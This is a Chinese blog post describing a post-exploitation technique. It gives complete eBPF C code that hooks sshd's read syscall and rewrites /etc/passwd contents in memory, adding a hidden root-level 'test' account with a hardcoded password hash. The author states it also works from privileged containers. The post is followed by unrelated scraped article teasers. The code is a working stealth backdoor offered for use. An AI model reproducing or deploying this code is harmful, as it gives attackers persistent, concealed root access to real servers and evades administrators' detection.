后渗透--利用ebpf隐藏后门用户

原理

首先我们要搞清楚ssh登陆的流程
先获取到ssh的pid
在这里插入图片描述
然后利用strace

strace -f   -p 830

可以看到他打开了/etc/passwd去读取内容
在这里插入图片描述

那么我们的思路就很简单,hook ssh进程的read syscall exit,然后篡改返回内容

代码

ebpf

// +build ignore#include "my_def.h"
#include <stdbool.h>
char __license[] SEC("license") = "Dual MIT/GPL";#define TASK_COMM_LEN 16
#define TARGET_NAME "sshd"
#define FILE_NAME "/etc/passwd"
#define CONSTANT_STR "root:x:0:0:root:/root:/bin/bash\n"struct bpf_map_def SEC("maps") openat_map = {.type = BPF_MAP_TYPE_HASH,.key_size = sizeof(int),.value_size = sizeof(int),.max_entries = 256,
};__inline bool is_target( char * target,const char *src,int len) {if (memcmp(target, src, len) == 0) {return true;}return false;
}static __inline int handle_exit_read(struct bpf_raw_tracepoint_args *ctx) {struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);char *buffer_addr = NULL;bpf_probe_read(&buffer_addr , sizeof(buffer_addr) , &regs->si);char content[sizeof(CONSTANT_STR)]={0};bpf_probe_read_str(&content,sizeof(content),buffer_addr);if (is_target(content,CONSTANT_STR,sizeof(CONSTANT_STR))){char PAYLOAD[]="root:x:0:0:root:/root:/bin/bash\ntest:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh\n";bpf_probe_write_user((char *)(buffer_addr), PAYLOAD, sizeof(PAYLOAD)-1);// char content2[200]={0};// bpf_probe_read_str(&content2,sizeof(content2),buffer_addr);// char fmt[] = "content:%s\n";// bpf_trace_printk(fmt,sizeof(fmt), content2);}return 0;} SEC("raw_tracepoint/sys_exit")
int raw_tp_sys_exit(struct bpf_raw_tracepoint_args *ctx) {char comm[TASK_COMM_LEN] = {0};bpf_get_current_comm(&comm, sizeof(comm));if(!is_target(comm,TARGET_NAME,sizeof(TARGET_NAME))) return 0;struct pt_regs *regs = (struct pt_regs *)(ctx->args[0]);int syscall_id;bpf_probe_read(&syscall_id, sizeof(syscall_id) , &regs->orig_ax);//这里一定要用orig_ax,因为现在的rax值已经被修改switch(syscall_id){case 0:handle_exit_read(ctx);break;//read syscalldefault:break;}return 0;
}

代码逻辑比较简单。就是先获取进程名,判断是否为sshd, 然后判断syscall_id是否是read, 最后我用了比较粗暴的方法,匹配内容是否是/etc/passwd通用的第一行,然后覆盖返回结果

效果

可以看到无test用户
在这里插入图片描述

但是可以通过 test 123456直接登陆
在这里插入图片描述

当然如果关掉ebpf的程序是无法登陆的

当然我们可以把编译好的二进制的文件放到具有ebpf权限的容器里面,也是可以利用的
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/536735.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python网络基础爬虫-python基本语法

文章目录 逻辑语句if,else,elifforwhile异常处理 函数与类defpassclass 逻辑语句 熟悉C/C语言的人们可能很希望Python提供switch语句&#xff0c;但Python中并没有这个关键词&#xff0c;也没有这个语句结构。但是可以通过if-elif-elif-…这样的结构代替&#xff0c;或者使用字…

Linux中udp服务端,客户端的开发

UDP通信相关函数&#xff1a; ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen); 函数说明&#xff1a;接收信息 参数说明&#xff1a;sockfd:套接字buf:要接收的缓冲区len:缓冲区…

供应链金融新篇章:2001-2022年上市公司金融水平测算概览

数据说明&#xff1a;参考周兰和吴慧君&#xff08;2022&#xff09;的方法测算出2001-2022年上市公司供应链金融水平&#xff0c;供大家研究使用。数据来源&#xff1a;企业年报等。时间跨度&#xff1a;2001-2022年 数据范围&#xff1a;A股上市公司 数据指标&#xff1a;…

【热门话题】前端框架发展史

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 前端开发的历史演变引言第一章&#xff1a;起源与基础建设 - HTML与CSS时代1.1 …

SSA-LSTM多输入回归预测 | 樽海鞘优化算法-长短期神经网络 | Matlab

目录 一、程序及算法内容介绍&#xff1a; 基本内容&#xff1a; 亮点与优势&#xff1a; 二、实际运行效果&#xff1a; 三、算法介绍&#xff1a; 四、完整程序下载&#xff1a; 一、程序及算法内容介绍&#xff1a; 基本内容&#xff1a; 本代码基于Matlab平台编译&am…

PMP项目管理认证如何进行报考呢

一、PMP 怎么报名&#xff1f;考什么内容&#xff1f; 1、PMP 报考条件 最核心的条件满足以下 2 个&#xff1a; ⭕本科毕业需要满 3 年时间&#xff0c;高中毕业满 5 年&#xff0c;或者年满 23 周岁&#xff0c;这三者满足一个即可。 比如&#xff0c;你本科毕业参加工作一…

如何在安卓端的SAP里配置打印机

1、转到 SPAD 事务&#xff08;“假脱机管理”屏幕&#xff09;。单击“设备/服务器”选项卡&#xff0c;输入输出设备的名称&#xff0c;然后点击显示按钮。 2、如果打印机已配置&#xff0c;它将显示设备属性、输出设备属性和纸盒信息的所有详细信息。如果输入新的打印机名称…

JavaWeb06-MVC和三层架构

目录 一、MVC模式 1.概述 2.好处 二、三层架构 1.概述 三、MVC与三层架构 四、练习 一、MVC模式 1.概述 MVC是一种分层开发的模式&#xff0c;其中 M&#xff1a;Model&#xff0c;业务模型&#xff0c;处理业务 V&#xff1a; View&#xff0c;视图&#xff0c;界面展…

PHP爬虫技术:利用simple_html_dom库分析汽车之家电动车参数

摘要/导言 本文旨在介绍如何利用PHP中的simple_html_dom库结合爬虫代理IP技术来高效采集和分析汽车之家网站的电动车参数。通过实际示例和详细说明&#xff0c;读者将了解如何实现数据分析和爬虫技术的结合应用&#xff0c;从而更好地理解和应用相关技术。 背景/引言 随着电…

LaTeX 目录标题取消(自定义)留白间距

默认的目录格式生成如下图&#xff0c;会发现“2 产品介绍”和“1.2 项目概述”中存在一段留白 通过在导言区定义以下代码即可自定义标题留白间距宽度 \usepackage[subfigure]{tocloft} \setlength{\cftbeforesecskip}{0.3em} 最终修改的效果如下

请编程输出无向无权图各个顶点的度 ← STL vector 模拟邻接表存图

【题目描述】 请利用 STL vector 模拟邻接表存图&#xff0c;编程输出无向无权图各个顶点的度。【输入样例】 5 6 1 3 2 1 1 4 2 3 3 4 5 1【输出样例】 4 2 3 2 1【算法分析】 本例利用 STL vector 模拟实现邻接表。代码参见&#xff1a;https://blog.csdn.net/hnjzsyjyj/arti…

顺序表后续以及通讯录项目

⽬录 1. 基于动态顺序表实现通讯录项⽬ 2. 顺序表经典算法 3. 顺序表的问题及思考 正⽂开始 继上一篇 1.动态顺序表的查找 这里挺简单的如找不到就返回一个负数&#xff0c;因为索引不可能是负的这里就用来代表找不到 下面是找不到的示例 最终代码可以优化成这样 2.动态…